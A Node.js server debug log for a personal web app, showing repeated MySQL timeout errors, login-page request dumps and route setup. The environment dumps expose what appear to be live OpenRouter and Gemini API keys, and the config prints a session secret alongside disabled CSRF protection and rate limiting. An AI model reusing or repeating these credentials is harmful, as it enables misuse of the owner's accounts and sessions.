    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.231.70.17',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-01T11:47:47.818Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.231.70.17',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.231.70.17',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 12:04:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 12:04:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 12:18:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 12:18:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 12:22:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 12:22:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 12:33:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 12:33:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 12:54:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 12:54:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 13:13:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 13:13:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 14:34:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 14:34:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 14:53:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 14:53:15' as DATETIME)"
}
2025-12-31T14:57:12.737Z server-connect:router Serving templateView /
2025-12-31T14:57:12.739Z server-connect:app Executing action step identify
2025-12-31T14:57:12.739Z server-connect:app options: { provider: 'security' }
2025-12-31T14:57:12.739Z server-connect:auth No login cookie found
2025-12-31T14:57:12.739Z server-connect:output identity: false
2025-12-31T14:57:12.739Z server-connect:app Executing action step restrict
2025-12-31T14:57:12.739Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-31T14:57:12.740Z server-connect:output restrict: undefined
2025-12-31T14:57:12.840Z server-connect:router Serving templateView /login
2025-12-31T14:57:12.841Z server-connect:app Executing action step identify
2025-12-31T14:57:12.841Z server-connect:app options: { provider: 'security' }
2025-12-31T14:57:12.841Z server-connect:auth No login cookie found
2025-12-31T14:57:12.841Z server-connect:output identity: false
2025-12-31T14:57:12.841Z server-connect:router Render template layouts/authentication
2025-12-31T14:57:12.841Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.231.70.17',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-01T14:57:12.840Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.231.70.17',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.231.70.17',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-31T17:19:34.547Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-31T17:19:36.686Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-31T17:19:37.548Z server-connect:setup:upload Upload middleware configured.
2025-12-31T17:19:37.548Z server-connect:secure CSRF Protection initialized
2025-12-31T17:19:37.556Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-31T17:19:37.556Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-31T17:19:37.557Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-31T17:19:37.559Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-31T17:19:37.565Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-31T17:19:37.569Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-31T17:19:37.578Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-31T17:19:37.592Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-31T17:19:37.597Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-31T17:19:37.602Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-31T17:19:37.612Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-31T17:19:37.616Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-31T17:19:37.688Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-31T17:19:37.690Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-31T17:19:37.696Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-31T17:19:37.698Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-31T17:19:37.704Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-31T17:19:37.768Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2025-12-31T17:19:37.774Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-31T17:19:37.780Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-31T17:19:37.782Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-31T17:19:37.790Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-31T17:19:37.797Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-31T17:19:37.797Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-31T17:19:37.803Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-31T17:19:37.805Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-31T17:19:37.809Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-31T17:19:37.811Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-31T17:19:37.813Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-31T17:19:37.819Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-31T17:19:37.821Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-31T17:19:37.824Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-31T17:19:38.311Z server-connect:router Serving templateView /
2025-12-31T17:19:38.313Z server-connect:app Executing action step identify
2025-12-31T17:19:38.314Z server-connect:app options: { provider: 'security' }
2025-12-31T17:19:38.316Z server-connect:auth No login cookie found
2025-12-31T17:19:38.316Z server-connect:output identity: false
2025-12-31T17:19:38.316Z server-connect:app Executing action step restrict
2025-12-31T17:19:38.316Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-31T17:19:38.320Z server-connect:output restrict: undefined
2025-12-31T17:19:38.425Z server-connect:router Serving templateView /login
2025-12-31T17:19:38.425Z server-connect:app Executing action step identify
2025-12-31T17:19:38.425Z server-connect:app options: { provider: 'security' }
2025-12-31T17:19:38.425Z server-connect:auth No login cookie found
2025-12-31T17:19:38.425Z server-connect:output identity: false
2025-12-31T17:19:38.425Z server-connect:router Render template layouts/authentication
2025-12-31T17:19:38.426Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.231.70.17',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-01T17:19:38.423Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.231.70.17',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.231.70.17',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 20:23:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 20:23:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 20:52:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 20:52:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 21:14:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
